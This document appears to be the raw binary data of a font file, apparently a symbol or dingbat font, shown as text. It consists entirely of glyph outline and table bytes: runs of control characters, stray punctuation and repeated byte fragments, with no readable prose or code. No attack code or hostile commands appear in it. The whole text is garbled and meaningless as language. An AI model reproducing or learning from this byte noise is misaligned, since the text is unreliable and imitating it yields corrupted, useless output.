MO $��p%�|I^���[�T��<K�"(��~G�W$?8?])�(	EA�s�#���L,�T�
0�`	+��W��Vۄ��`$$a.�|%2<J\e3 + &=762367#&'&#367&#&#"3274/"34?3'35732?5#+'535^-�J��|����@�h'\-�e@<��r2&H);
�uZJM��=9jl:j�gb�.Q��i2Q�|�酝���:*}(�dpR��!h	�j�`]_��i$x:-(^%�,3�"�ؿ�Ea�HMP	E�7�g /:BR`j # &5%6; 65%&# 327#57&/#2#&'676+'%3#'#&/47'3327##'%3#"/6j1�M��{��ǮG&��z
v$�E��x��ݨE��(+=R�:n:D!s�
Y!�gQKu���m;}	uA;>��e����=g��¯Cy�?�?��ԢB|�*�>��w4I �'�	5@�`����b�C�$�	�
j$�H�?�i�M!%.�|7H27&' # &5%6367&#'.7&67263'#%; 65%&# �mJB|�e6�O��}��°I+�o|BJn���^�jaygwaaygxaj�^��w�$�F��y��تFG�����퇢���D{�C�?�`�������B]w��w]B��J�ХC}�.�?��yP�%.232#!7&!"4#".54767267��p���{u*���_J�cll�m8*#I���%<($|�ʀX��#{Nw�t�7m�nld4)�5:I�IIB�,<�_4767632#"'&'&!%!!�   �>W�$`��4  ��Z��|b<�_/374767632#"'&'&4767632#"'&'&!%!!   �   �UW�$`��H �  �	Z��|b<�_/GKO4767632#"'&'&4767632#"'&'&4767632#"'&'&!%!!   �   �   �UW�$`��H     �	Z��|b<�[/G_cg4767632#"'&'&4767632#"'&'&%4767632#"'&'&4767632#"'&'&!%!!   �   �/   �   �UW�$`��  �K     �  �Z��|b<�_/G_w{4767632#"'&'&4767632#"'&'&%4767632#"'&'&4767632#"'&'&4767632#"'&'&!%!!   �   �/   �   �   �>W�$`��  �L   �  �  ��Z��|b<���V/G_w���4767632#"'&'&%4767632#"'&'&4767632#"'&'&4767632#"'&'&%4767632#"'&'&4767632#"'&'&!%!!�   �0       �   �/   �   �UW�$`��+       .   �     @   ��Z��|b.�t)2 $$ >54.#"4>32#"&h���������������..--t�����*��Ƅ����2..2/.�y)62 $$ >54.#"4>32#"&$2#".46h���������������..--��1.-.y�����*��Ƅ����2..2/�/2..2/.�t2 $$2>4.#"h��������-..-t�����*��f/2..2/.���j'2 $$2>4.#"$32>4."h��������-..-�q.-.1-j�����*��f/2..2/y2..2/R�7!!R-�Ӗ�R�7!!%!!R��Mz��M�������;�	67'&/#'3#67$#%��ׯ���P=�=Ͱ̼�b�N+�#�!f�"K++!|o5��<�?�1s^#'3#67$#�B�Bݽ���B�T�..#�x:�kA�D�
'���(''7'777'77'/'7%턌�!b����탍�a 2��~��~�����b����� bP����������R32>54.#"##"'5##"&'&'0!5!5&'.4>32!!676767'7'� :!9!"9 :!� ��F
G�F;kY_��1278e56d:81)��RLk<G�G
E~^� :  :  ;  ;��NG
5
e4G( Li)enf77fne)i��	(G4e��5
G(�Pm	9Y%&'%67&673&/'67'&'"&'4?&'37'	'7	&/7&'#>7$��%8�8EFu/- 6uNDL2��2LENu/80uFD8�j���U��4�5��B%y�\A��@Y�y$F
0=/0
	��,-X7�0 ;~*2%��%2*~69�7X-,��o��o������+F9d1)�(1d9C1����*CT'&#"'5&767#&$'&%'6'&'''$'676'&5$'6%'.54>32�D$�"��@F���,����NNN�v�F8p^Lb2
�����N**�+��B@0"AR/0?wA�%od/D&3.YaQ/5#3$"����u��I'
@3/u�= =#n-....�w3%%32+#".7!"&'&'#&=4;73737����D�����*��$#�GF�H���H���%#Ι+�(&�aa�'�m��99m��9� ��3.055_4i��4_550.3k#tt��t�k"632&'.'#####֊v)%�8
 _^�>:k{�Z��G_?�g�@`H,>|:=+,j,,<�6O/2�33��<b��b���J���
132>4.#"367#&7&$735&'.4>2�,P*+P,.N+)P��Ɨ�d"/%(�MM��~95DLM���NMD2)WN,,NWP**�g��!ʇ�w֜�s~
��&���JJ���&��?GO277''"/&'&'7&'&'7&47'6767'676?  6"&462EG#96\>42(p
__
p(24>\69#G#:5\>42(p
__
p(24>\5:����'��NmNNm��U%4m+3
EJ5:6JE
3+m4%TT%4m+3
EJ6:5JE
3,l4%T������'\nMMnM*�?
!&+05:?DP�3&7"7&'7&'7&'7&'6'6%676767&77&77&'"32654&'5&'.4>323#67#&#"'5&'&547&"'6%6761�a$O` "NiB*4l,4"U47),3(��$aM#"aT*BF
4,=44#Y3,)�0BB0/CBO"!-$F$FJ�F1.#-
-#-2M�JF$G#	8<g7*!2U6J%n=_CBnT�>	rYw0d	"*7]6U$u=n;wBLz	>�\e0wZ3C.1BB1.C(N	"%""%"	M#p.P�A.$�;QW�$.A�P-{	"R�&.FR���������2#".54>&'767&%76'&''67&'&'&'67676547676'&7>3263'##"'&'&'&54767&'&547676&'&#"6&%6767&'&'&676&5467&'&6732767&h�@9h),)RP|�|PR-*g:>/**Y&()((')&&)')(()%@9f+.TR�"`33`�\_	.np,	��00441/��	,pn,	]]�&&()&&EEEJ03��2WyQT.,d9@.**..12�30IDE%&**%&F��+.SEFE.IMMI."#FES.� !  ";-0.--.0�IM+.REF$$����1.%2S_`Q2%-1�OQQO�2-$3Q`_R3&.>�GIIG�""
7447#.$$FER/+L"  !�75/57%"�IJJI�*���)p~�67&'67&'4&6%67.'4'6&&'6767&54?67&'&#&'#&'5&'"'67&'&47632>4.#"72#".4>�"0'-, )*�#'0�5%"�*%%,),,"�GNY��I'+"��"$(J��YNO21,9,4=SM:7,:-12-[�[Z�[]�WX��I�OM�KL�MN�2��
Y{�\
b�CWDJgABcp7L^BML0�b\�u]!
�@R%KlhhO+w��w+OhhlK$PZ�X'@D
0:)ww*;0
EA&X�Zw��[[���[[GJ���MM���J"�(
%3!'#!52#"62#".54>o:��5�(��67%'$(��n��H�0�L�*���I"33'554#$/*��PR��6h��"�&>I>��>A>���!!�u���������a���!&5476'#5!+���{��h_�a�6����6mHHm.r��Zy�'#"'&#"'&'&'&547676763232767676'&'&'&/&'&'&547676762!2!%3276767654'&'&'&#"&#"3276767654'&'&˗Pz	
		,D@	

	7;+
		23	
		M9�8G�)��:		


			�
		
	

r�
	

	
	

0	L:5�U				
�

	



.\�r�26767654'&'."#"'%"'&'&'&54767676;27>764'.'&+"'&'&'&547676762%632$"26767654'&'&�#

#

@�!R<���Oq<
;

3@M				JC3

;
<qO�<R!�-#

#

�

		
�/An!/









.!mB0_	



	:?��Yx�3!#!"'&'&'&547676?6767676'&'&'&#"#"'&'&'&547>763276;%326767654'&'&'&#"6767654'&'&'&#"32ɓ��E7���9E"		21
+96	
>B+	
#	zO�o
		

�
		



		


��49D

/



	"

	
:	

	

�	

		

				=J�Zx����-4H67&'&'&+"'&'&'&4767676327632
#"/#"'&'&'&54767676;276276767654'&'&'&"276767654'&'&'&""'&'&'&547676762"'&'&'&547676762'&'&'&547654'&'&'&";276-&#"+"276767654'&5476%327%&"'&'&476762�8?.


 ! 	
!a=�?^'��_)\?��=a!

!#	

"!.8?�""

"

"

"

f		2
			.?E�S�@6��fG=.			
2			ŕ6@����
	B 
)_>9	��9>_) 	%
���I
		
�	

	?
*





		��� ;d.	



	?P<!�4G��n��3276767654'&'&'&#"&'&5476767632#"'.54767&54732#"#"676767'&#"'67654zQkdYWGJ###"KEYXea[WGJ### N*))'UOggqqhbTQ+))'UQegrse2
N�{;(2.
'
7$!
/-
*@
%%$HIVWcgWSMF&%%$HIWWgbX1.oPbeqsg`WP,++)SQfdvog_WR*++
0?#" ��$)*2/[TG!3(	-)#%	$!'
(*0&%?��,Ji�&'&'7&'&"632%676767654&2"'&'&'&5476767"3276767654'&'&'&'2#"'&'&'&54767676$0�$�" N!!5&)*&f�0��
$�/		/*d]YJK$%%%JH�ff\YJK$$$#LG\ZhtjeVT,++(XRiiuskdVT,**(XQijn7<�%"#;"���<7b#"%X				�&%JKYYjd[YJIM&%KJYYfjYUOH'&K,*VShgyrjbYT+--*UShguvjbYS-,=<�[-57'367&33#3#32+3#3##7&'#7R0Knm�(�\Vo@KsFr�5$$5�rFsK@oV\�(�mnK0=��
�q<a<�
!
�<a<q�	��?s��
")-%!676762
!%"'&'&'%%&54!�O�uO?!$G�������?&��F�oSd��
����
Q������`#��D��K���476?672;&'&'&547632676767654'&7632!54'&'&76'&&#"'&/&'&'&#"#"'&'&/&'&#"&'&'&?6'&'#"'&'&#"!'476/654'&76'327654'&'&327654'&/D+"
(<>	
!-	�@( ,#%>NpNM&_*#
(!
&),,f&!
(K_
	�Z0-	
YiD	

	cp-)L	&gK1
[�N3$
n/		"!0{I�"H#fmt2>�,7HBI.;/8[,�
	Q[z)
		.)�S9L
*E	 	'+(4%(4
 
*X
>		
7A)�	��0'-570+I;-%
*��#%(0


]'5.		U-���9Lp{��7654'"'&#"+"'7&54?67676763276323273#5%6767'&#"6%"/67#"27632327654'73654'676547&�t!M#l5G;@�\
2BX-0%-m *	�� '�?,�N���?�'!�&�R;-><\-R5-6E!"$b$6$!q",��;
t@P"�#C�
*FS�
"�DX@!	%z$(�`]��jM�P

�&O/+@�p_u<

3 		DMKZRdYL6D�_Y�BI�5.!!''kGW�z�")3SZ67654/##3276?7%754'654'36767632#"'&54767632'�0,,;�	�(|w|k����i�5�.U,�\\���



%g�	.

�;,-0j{w{w3������V.
�T,�\�[^	


	

��-5&��� '-EL4'&'&/767675'7!
!'7!654'!4'!!$4767>2"&'&'!654'�$$���CCC||]��V��|����V#��u



�9�Z(f(Y<�PP�P�����Pr+








VHW�z�")3SZ&'&#"227654'&''/%'654.#"65&'&'&547632#"'&'&76#"�	�;,,0�w|w������5,�\\���


�.	�.V0-,:�
��w{w�������h�
.o,�[\���

	


	��6�.;+�]#C4'%%.'&"27>7%$66%"'&'&'&47676762%'b&���I




��)�^�t��N��/		/���d��IW�?

@�V�iDV�				/		�V%�&%$64'%%&'&'&"27676���@�))����<
"

"
��]N�O]���9|23277632#"'&'&5476"#��6v����>?(-=%P8j��?

#�j�< 
y�"$"Jr�B23277632#"'&'&5476""��YTo
��k%�,02?=V�8ji�A�{�C{�u+'�qP?		'	7	�ss����ss��sstsX��rs��rtss��sr@�Q�		'	7	5��������������������N�B2632#"'&'#"'&547677&'&54763267632676�

��Bt
	ah��>)	��c!
,Hs��

*�ܡ�	

}����,"2A"��		
�{��3���+Q26#"'#"'&'#'&'#"'&547&'&54767&'&54763267632676	
�΂�  Nj�M
 r�kW*
&\���
*3
#��ﳎ*3	T��v!(����5+",���
@�V#!!!!!%!!!!!!!!#!5!3����;E;�J���E��J��J�����J��<�����;E;�E��J�K�!���I�KV{!!!!!!���|��|����uv9�f35#7!!#!5!3����*��+մܳ��*ִ�0�r!!%!!!!!!�/��0��`��`�1�/��`�1��)!!#!5!3�^����^�����^~S3!!'#'!!#!!3!5L���������D������������ʃD�������M��A�#5!#3!3'3#!#35!3###5353���;�����9��nj�����������#5A�I��#�����#��0�vQ#"#3;54'&'&'&#5!"3276767653#4'&'&'&+3!52767>5/]LED73!&&54GBO]63H>SkS>H388]OBG45&&!35FEL]63H>S��S>H38882I<UjT<F66]LEF62!&&!28�L]66F<T��U<I27^LEF62!&&!28�LG�� #!!!!!7/373#/7#h�l����������k0��
���W��XXXX��ïW�XXXX������;;:Q�����Q���ƙQ�陙;����C54'&54762327632#"'&+"'&5476=#"#"'&476323C:!)*[*)!:�\5YL$$$$LY5\�:!)*[*)!:�\5YL$$$$LY5\�[�\5YL$$$$LY5\�:!)*[*)!:�[5YL$%%$LY5[�:!)*[*)!:�����&'##"&'&'&4767>32367675&'&'.5467676236767>32#"&'&'&'#"'&'.546767675&%�>#"?

?"#>�
 G	
�>#"?

?"#>�
	G �
 F

�>##>

>##>�

F 
�?#">

>"#?������4'&'&'&'.54767676322767676767632#"'&'&'&'&'&#"'&'&'&5476767676765"#"'&'&'&5476767632B
,#,+%) 3!,
	&&*-#''#-*&&	
&$0	
)$W$)
	0$'
	L+,$&&$,/"&&$b3")	M*,%&&%,."'%%0
)$W#)
4!,
	&&+,$''$,+&&	
&$1,#,+$)����0267632#"'&'&'3&'&'&54676763267632#"'&'#"'&'&'&5476767#6767632#"'&'"'&'&'&54767#"'&'&'&54767676325##"'&'&'&54767#"'&'&'&476767632&'&547676763235#"'.'&5476767632&'&54767676h�
						
		
�
			-			(�
			
		

�			�				

�'				*
		
�
						
�
		.
		�
				+���j276767653"4'&'&'&+sidUS+*+'WPihtthiPW'+*+SUdi),)URhexuhbXR,,,,RYaitwfgSU),%���t?247676763"'&'&'&5!276767653"4'&'&'&�LEA86:4DDMMDD4:68AE��tjdVT,*+(XQjhvvhjQX(+*,TVdj-76DCOME@:66:?FLOCC67-*UShgyvjbYS,-,-RZbjvyghTU*,(���8	%%!	!)t��t�����J��Hc�de�c�H�]F��]�����~�]���^���C���5	)!%%!2#"'&'&'&54767676hz�t@z@Az@�t{ne_RP)((&SNcdome_RP)((&SMdd0�����x�}*(QObbrle]TP)**(QObbooe]TN+*(���.'"276767654'&'&'!	!�_)(""""()_)(""""(Y��������������$(*/.*(#  #(*./*($��]���^���#���<	'1%%2"'&'&'&5476767!	!#x��x�����a)(#""#()a)(#""#(Y��Dg�gh�g�D�^I��^�����W $(*0.+($  $(+.0*($ ��Y���Z���(���8	3'7'3!%%!!	!hE۱C��C��De��gg��f�������������
ҁс�сi������:��]���^���=���	3'7'3!%%!7!7'7!hTDEDDT��������������N��P��P�IQ2P11P2#�m��m��������(���?-5%7'%!!	!]�P�g����fee�������������r­��6��96���ƌ]�^���^���.�
/'%!!%!77!���yr��ry���yqm"�_��^��^���l�%��%t�u%����ߴ�߳�!�6����3%
%#'-7�:|��:|����|9��|k���ֵ�ֵ��k�ֶ��W��z`37'%7%
%#'ZZ�ZZ��Z]�^Z��^Z�����Z˛����ʜ���m˜�˜�m�ʜ0���o	#'!5!73!�P6��M��6P�$��6PMP6�����6R�#��6QLR6���$Q6��L$���z	
		-	h<_����K��<;��
�L���_z�K��<;���J���`;<_��	����'!'/7'?!7%
%-��[���9^�[[���Z�G���^�ZZz'}*��}��zy��}��*}'q^�\\���Z�G���^�ZZ:�\���O��}��zy��}��*}'yz(}2���%	%	h_��y�(_^�(z�������������FG����s%
%-hVH�z����VU����z�Hr����VU����{�HUVH�����%
%-h�h��h�ႁ��h��h���h�ႂ��h��h��h$���h7%
%'7-'hX�5
������5�XV�6�����6�g�����5�VW�6������
6�WV�5
�0�t/37%!!%'#''7'%!5!%7'77;[�T��A�:#��T��8#���A�T�[�T��A��#9��T��#8�A�T T��8#���A�T�[�U��@��#7��S��#9�@�U�[�T��A�8#1�����54'&5476276767632#"#"#"327232#"'&'&/"'&5476=&'&'#"'&'&54767632332?&547'&#"#"#"'&'&54767632676?>$,.c.,$>
]5 71+:H3>	kR

Sk	>3H:+17 7Z
>$,.c.,$?Z7 71+:H3>	lR

Rk	>3H:+17 9X	�
ib9@R'))'R@9dg
8d< +$;)01):$* <g4
hc9@R((((R@9ch

4g< *$:)00);$+ <k0	7�����"276767654'&'&/54'&5476276767632+"#"32;2#"'&'&/"'&5476=&'&'#"'&'&547676;232?&547'&#"+"'&'&54767632676z#



#


H=$,.a.,$>
\570+9F3=
	kQ
	Sj	
=3F9+077Y
>$,.a.,$?Y770+9G3=
	kR	
Qk	
=3G9+079W	�>
h`9@Q'(('Q@9bf
7c<+$:)/0(:$+<f3gc8@Q'(('Q@8cg3f<+$:(//):$+<i0	4����j'&'&'&767654'&54762767676'&76'&'&/#"'&5476='&'&76767&(�ZDL"#Z:LG#:.'W4,C�C,4W''A(CK;Z""LGW�/'''�[CL"$X>HH#:.'W4,CEH@,4W'*>&DL:Z##KGW�,f
',;[;;+*Q�--}KOW*AA*WSGu5-�U&+;;[;,)

'+;[<>**Q�--}KNW+@@-USFu5-�S(+;>Y;+*
!�������67654'&"327632#"'&'&/#"'&5476=#"'&'&5476763232?'&#"#"'&'&5476763254'&5476276767632#"'&#"#"'&#"327676%32767654'&'&#"#"i/)F)/�,UK:M
$\/8E(5>H6-EFJA-5H;8)D7.\#	L;KU,*UK;K
#\.7F'5>H5-D�E-6H<7*C8/\$
M:K U+��:6-214	
$:�<;$
422-6O;(A7##7A(;��	!*:#.#;&Rm!CcJMU)??,RMJcCoS%9#.#;)!	 );#-$:'Qn!DcIMU*??*UMIcD oS%;#.$:* f /D;;D/ $�i�"276767654'&'&'767632#"'#"'&'&'&'#"'&'&'&5476767#"'&'&'&5476767632&'&5476767632�o00'))'00o00'))'0]0+)*+%# #+%0%##&&.0%+%
 #%'.0$,#0%-# #%'.0$.  #%'-1$,#$%*/0961/*%%*/1690/*%)"*&0-(%$$$)-0&*!&"*!$$)-0&-#%(-0&*""(-0&*"$$(./&��n�����%#"'&'&'&5476767#"'&'&'&5476767632&'&54767676267632#"'#"'&'&'&27654'&'&'&"67&'&'&'276767&54767'&'&#"276767654'&/?676767654'&'&'&#"h
&,&1/(&#!$&1%-$!&$/'.)2$-%c%-$2-*++&$!$-%1&$!#&(/1&,&
=s0
	9	
55%R


9�!_	�,9


R%5�s	_!�#'"+'0/)&$%%).2'+$
*
'1.*%%%%*.1'
*
"+'2.)%%$&)/0'+"'#�L%%L��%#ML:2(&6

�_M#%�

6&(2:
����-[�3b���&'#"'&'&'&547676763267'&#"327%327676764'&'.#"7632#"'%&'&54767676324676762676322##"'&'"'&'.5#"'&'&'&54767"'&'&'&54767676&'&'&'&'&'67676?&'32767677676765&'&'.#"7676767&'&'&/326767674'&'&'67'&'&'&#"67'&'&'&'67676767"276767654'&'&'"'&'&'&54?&'276767654'7654'&'&'&"67'&547676762��
				
��(

b�

(��

			
��


#!"G"!#

*


" '

## G!"" 


' Y
m
	
		��
	(y�
	(
O
k	
		w�		
	m
Q(	
�O
(	
��		


??

+	/	L*	/	*

				+.	M+	.*					� !!!!


'?

?'

"#&
#'"!! 

'?

?'
 !"! $&
��	
�
		

	
m
P	�
O
	
�	�
			


��
m
	

		
��	y	�
	
O
k		

		
����

				
��				b�				��
	

	
%���j<\l"276767654'&'&/2#"'&'&'&47676762#"'&'&'&54767676%
%-�[''!  !''[&( !! (TB39)+,+76?A3:(+,+76>tjeVT,++(XRiiuskdVT,**(XQijtu��z��"z!uv!z"��z��#&(,-''""''-,(&#e)*:6?;97,+)*97z88,+,*UThgyricYT+,,*USigtvjbZR-,��z��vv��z��"z vv!z2���9������"327632#"'&'&/#"'&5476=#"'&'&5476763232?'&#"#"'&'&5476763254'&5476276767632#"'&#"27654'&%&'&#"327676%327632
654'&'&#"#"i"(-�+S
I9K	#Y.6C&4<F4,CDH?,4F96(B5-Y"	K8IS*)RI8J	"Y-5D&3<F4,C�C,4F:6(A6.Y#	K9I
R*�"(-�62
#9�~��3
#9;��
01+5�600,5`�%;G,A��
$.?'!3&@!*Yx$	ImPT]-EE0ZTPmI	"zZ)!?&3!'@-$
	#,A'!2'?!*Yx$ImQT\.EE.\TQmI#yZ)!A&2"'?.#�~&<G,@�� #3J�� #3J
�"�" �WA''7'7535'75377537'7'#5''#5'75#5'7'7Ϩ4t�4�hϨ4tgt4��h�4�t4��Ϩ4t�4�hϨ4tgt4��h�4�t4��~f_Fh`i���f_G��G_f�~͎i`hF_f~f_Fh_h���f_G��G_f�͎h_hF_f0����!%)-15377''#5'7'7'75777%7?58a��1����1��a��1����1�슊늊�[���L����Z��a������}T}��{U}����}U{��}T}� �P�PP�PUPOOPPOOSP�P��P���A377537'7'#5''#5'75#5'7'77''7'7535'79arQ�ڢH1JqQ����QrI1K���QrarQ�آJ1HrQ����RrK1I���Qr�TB�q�~�*T+B�p|~q�A+T+��|�q�BTRB�q�|�+T*A�q}|q�B+T)��~�p�B2�����#"'&'67632#"'&'&547'".467675#"'&'&54767627'#".47676325&'.4676327&54767632�%'+,%��%,+'%$'+)(&�%,,KWK,,%�&&+,&%%'V&��
(),K,%'+)(&�%,,%&+,K,,%�'%,+')�,%+'%	qq	&&+*&&&%,r�KXK,,KXK�r,%&&%,+&&	qq	,KX%&&%,r�	KXK+KXK	�r,%$	)���j.E\s"&462	7	7%'	'7&'&'&5476762"'&'&547676'#"'&'&47676326767632#"'&'&�C]CC]@��@$���@#���@$�F��@#�+W,,Wx-3>41%%14>3t-3>41%%14>3f^CC^B��%@���#@����@%���@#�-4>41%%14>4��-3>41%%14>3�+V++V	!���r+?Sg"&46277''"'&'&476762"'&'&4767622"'&'&4767$2"'&'&4767e�ee���B��A��B���A�#U##U##U##U#��V%**%V&**KV&**&V%**~�ff�e���A���A�$�A��A��V%**%V&**��V&**&V%**�#U##U##U##U#	����&3@MYam+%5%32476;#"'&'?632&54?#"632/&54#"/72#547"&462"'&=3���?�_?����6�  ���6�  �6�] �6��'?&M&�C_CC_?&M&< 'L&&L'�!�6��� �6�^�6�!���6� ���>��_CC_D�<>��"���l267632%632#"'%3#"'&'"'&547#"'&54727%#"'&47632%&'&54763&5476h!#;�'&1'��h	9##8��)'1!,
�;#A#;�
'&1')��8##9	h��'12�;# 4��%.&!�6 = 6�%".%
��3  3	G��%.5�6 = 6�%".��G	4 $���8! 54."#"54$32632#"_����	����������ɀ�~~�a>��������E���	%!#!3!�pEE��?��p9E��=�V%!%!35!�c��E:��dFF��8���	%!!!�[:F��:��\;[��0�q	%!!7!�N��]<��N;)G��+���t	,��o����������9��������;�������������#����q��
�!����r�Q���k!��k�`�����!733��}b>v�������!#7#�)�iC~���������'<�<�#������'=�=�#g�]j�OS2#"327676765#"'&546;57!##"'&'&'&54767676%#�




42;%-��n`Ԯ�rr�#26A@:V7:$)&7.Y�q	

	

%$.277g[����(�d��VDQ49%*,04?()-#�������52&'&547676762"'&'&'&5476767h�c"$n�jl�n(Lfe*+$$$$+*e*+$%%$+�!#'(*dRj��jSc*('!��"%*,20,+%""%+,02,*%"����%C&'&547676762476767622"'&'&'&5476767hc�n(%X%&&&W%(nؖe*+$$$$+*e*+$%%$+,��Dj*('(&,,&('(*kC��"&*,11,*%##%*,11,*&".i�%%&%&54767676247676762hh�Ô*(42u24)(()42u24(*���i��\�=97,*+*96@@69*+*,79=�Z�r��_'#"'&'&'&547676763"'&'&'&5476767632_��d�A=;0-/.=:DD:=./-0;=A�b��x���1.=8DC9</./0;8EB:;/0���A��
i654'&#"632327632!"'&53267&'&#"#"'&54763247632327654'&547632#"�,#<Z%LFe0$�|U^),3�����SB?
R�8<D3!#^L_U(=!#?>()
1F="%".4"tNa5�&$4!/.r<@6B2L�_0>Q#kI|��"rz7&�)?),%=^K=.C26F@13.!9+cM313��N676 547&'&327#"'#536767&'&'&5432&5476323254'&543253%5@26���`',  =NR6#!vWR>4
2:O	t51"".1&X�.RO		A5ȏ�)T/1���86,FAS:#(=�:tA09SD 'A#5��}11B�O9��� "'&'&'&547676763"3ᗊ�pm8884ql���YTN�!  !C@RP]e:6pl������tm9:'62�~��~jf77���"05276767654'.'&#052�]PR@C!  !�NTY���lq4888mp��e'67fj~��~�27&:9mt�����lo7:f��kR!&547jljjl��yyxzQ���������q��p�n��c$0!!676n	wu;;v��i43f$�����������lcC�}�U#	3���t�����D�}�U	3	Du���t�������V�.!	!�����J�����V�.	!	��J������A�!	!�m�^���\�GH���B�	!	���^���^�HH������v!'7D�W��W��W���W���|'7'7��W��W�b�W�>�W����^$#"&=4&+5326=46;#"3���xMe,,fLx��1d=AOOA=dƂ��׈i�h��DŽ�Oߍ����O����i(326=467&'&=4&+532;#"+�5nCFVU$#Cn5��BB*)p//oTBB¥�P�⎁AA��P�DB�ۇ45�i���DCS/~�	#!5!3}����������t�]}	7%�d�^�=���]��d��>S�~5	/�%�0~���#�#���t�]�	'-f������\=]�d�]�>��-���!'7!.�	�(�������``��I)�=2"&'&'&5476?!".'&47>3!'&'&54767>2�	��'!

��`!!��

!',�&
��

�&�

	��S�~&!5!	F��7���8���-x�!5!5	V��(M��r������6u�#3#3#3!!5	鴴�ZZ�--��-I��(,��,��,��,�����S�~55!#3#3#3F������9���UU�**�b�]^�b��U��U��U�S�~�!!5	F��7��.����`tq!%	���q�������R����{�V$%!	�S����%�@����{V�	t��%��2�26��=3!5	5!"'&'&'&6
  $hI����$  
�h$  
������
  6��<47676763!5	5!"6
  $hI����$  
�$  
������
  $O��!!	e�������6n�55!�lM��l�T�w�cc�w�ekl!5!!53	'	!_���[��y"��k�d������""��e/l�5!!53	'	!_���[��"��/�d������""��5���!73#57!%!6�UcG���j���b�zb����d�������ǩ""��a�p�5!'53#'!!!7%a�cߎA[���؁(Zq�Z�{{��{�ĒҒ��}�TM
%'!'!53	!�;�qK�RnK��a2��6�w��w�����Iw22w��T�}>
3#5!7!!!	�Z�Q�tZ�Q�0��L��>�s��s���j�LK2N�u'!53#'5!'7!	!�p�Sn%��R&��%�Ua2����w��K��J,L��w22w)��1'7!573#5!7!	!�r&j&St&��S�p�Wl6���q�M,L��L��y��y77y��@�!6767632#"'&'&'!	� 6IYZgb^UMI%&&"LF\Zfc^UM3!�t���:6I&&&#LHZZhc\UMH'&&#L2<�tt�	XNy"&*.37#37#37#37#5'!!55!!3'#3'#3'#3'#r+qr*r�r+r�r+rV���{��{����*q+*r*+r++r+��������9��Ɔ\]����������t�]�7&#"7'7	#%5��#t�69��.�wZ�Y��96�t"��.*��X/��S�~k55!5!!7'!�n��n��U���V�������GG��8:�ȏ�u�\j'327''	#3��95�t"��.��Y��/�Y���"u�69��.�xX�XN���2%&#"6767&'&"67632&'&547676767�}�:<?M#��!D" ��$(*&*&s	

 ?�$>"	


s %*&*(&��"!#!��"O>>;�*��E/4767!"!47676763"'&'&'&5!3!&'&5��v���5
$ %% $
�HvgM�ME%!#"!%EM�u�\�2&'&'&'&54767#"'&'276?&'&'32\":
�
��#'$'$#Y@�I:86��s�6::I � ��#&'#'"
X
�
:5*��+B67"'&'&'&547676$47676762"'&'&'%&'&'&547676762$��[	/		�H
=��a�=�		/
Z���I=X�

q>d(*c
�			�XJn��.676767632#"'&'&'&%&'&54767&'&54765  #&+*1)�F���-Y)) .EO��O�/3S>>S&/ #$))%#�]]�#%))$#&���e"'&'.54?654'&'&'&+"#!".4?64/&4676763!2;276767654/&54676762��
�I�
]]�I�
���	Q	�	
��	�	Q	�%e��g"'&'.54?654'&'&'&+"#!".4?64/&4676763!2;276767654/&54676762���
GKa��
u~iKG
E�����
��	����2��+#76767&'&/3#6767!5!!5!&'&'�g?j7R=y66y=R6k?�VO ���S+


+S�d _8=ey�u'&u�tj<�u,*44Gee�eeG35*+S/~�	#!5!3}������������B�����&*'$&76#"'6767�	�7�>{J<�p�1��
GM+��SR��-PAd��m�R��
���&567$'&76&#""+MG
��1��p�<J{�>7���
��m��dAP-�K���Sg��264&"%!!"&462�OsPOtO�w��#[륢�S'MPQqOO>�-"Y��R%u�#\u		!	!h��
���i�/u���-1���)���3%!!!!��������U���2xx��x����#3!5!!50��x�U��������x2xQ���	!	!R�������p�pQ���	!	!�������p����W��z'������W��z'�������5�	!!d#x�����x��x#x��x#���5�		'7!5!'75��x�����x#��x��x�����5�!'7'7!d#x�g�x#��x����x��x#x��x�ݎ��x��x#����
$%����Yzx��ˑ��P-,S�'�G���F'����
7654'�mf����x��ˑP�����S�'����'|���H	r�
����������������UH	'_��
���H�3�8��bu�#\u	h��
u���-B\��33##!##533��������R�P��P����RB\��333333#######5�ُُ�PPُُ�R���R��R��R�P��P��P��P�/� ! !! ! h��Z[��M������M���-3�z���������w�Xs���X�y�'�~K��Xy�'����'��~KT�}�!!	����7J��771���!#	���78���8��1���!3	���������8���5	''!j���x����x�G��F5	!0��w�����x���F5	77!���x�GV��x�H���5	!��x�G��w�T�}�	!5	5!	��7��E��7J���ɩ�771���	#	#3	ک87�������8��F��8���w7!!!x�r�$��<���w!!!x�r���<���w7!!x�r�$��<���w%!!Y�r�$��<���w%	h�5��bc��J��6b�������w	���bc���6��6b�������w	!	����bc���6�b�������w!	���5��bc���6b�������w	
#)-17%#535#5#5#5##5'3#5#5#5#5#5##5##5###5��Zssss��V�rrrr�sZ�����Vr~�rZH��N���rrrrZZr�H��N��b�VrrrrrrV���V��%%;#"'&5! !&'&+3264&#�Tb'~�V^� ���,A/���
Ok^�yihz)�l�hh���暶	A^��y���i_�^`��~�!5!!5#"'&3227654'&"Z$��3QRm�ts��aOO�r<<�>==>�<<6��+�b22��rv�/0�Y�����V�V{�##!!+53265}��`��b��yMdR��s��T�q��e����n�!��
!!!!!i���@���m'\�Z'c����q`��~�!%!!67632#"'&4'&"276���$3QRm�ts��aOO�<<�>==>�<<��թb22������p/0�������H�!!!!�'��h������h�/`!!!/����#���`��A�j2!$76676'&&�`r�k��js��+*�Z6�j{���4@�Bs��SV}�d���xa�M>��� !5#"'&'3276767654&+5!2��,XZv<::40�L^EE&

Sb�<ҵ@���`45,,! >&64p�n��b��o{&"26$  6 54&"�OsPOsP�p���%]`x�xiPPsOO*=����CWW	���������K_X�d���3!3h����&���D����6.54$32.#";#"'%&'&'&'32654&'�ߞ�g�e_�`kr*(��SU�@a�S@G:����dLohv�lmxPL�U����/.��CFVP>((20Ejm��p6�G��x�Y41TRcYCes���%;#"/&'5!!��F�dSwk������w�F3�G��x�������p�`#'!767#"&5476?67654747![`bede��""^XD#.����#F��8��LAB\VC)*=	�%(+C"	����Xy0'���K�:�!#!������/:+#5!!!����V��&�����3!!��
P��/��+�!53!+��
�������V��#533��1�м�t��t��#533��1�������t��#533��1�h�����t��#533��1�4����t��!#533#��1����t��53#3�����м��0���53#3���������d���53#3�����h�������53#3�����4�������!53#��������t���!!#������0��3!!#�����̼�d��3!!#�����������3!!#�����d�����!3!����0�E���	3'#'<Y�[}�}[��Qo�v�oQE���	#'737�Y�[}�}[��Qo��voQ����	3#'3#��"� �����������	7353� �"���A��}������D��d��!5 !5 !5 G^��^���	��
���X����cm���ZG�`!5 &!5 &!5 y6��6��N	��
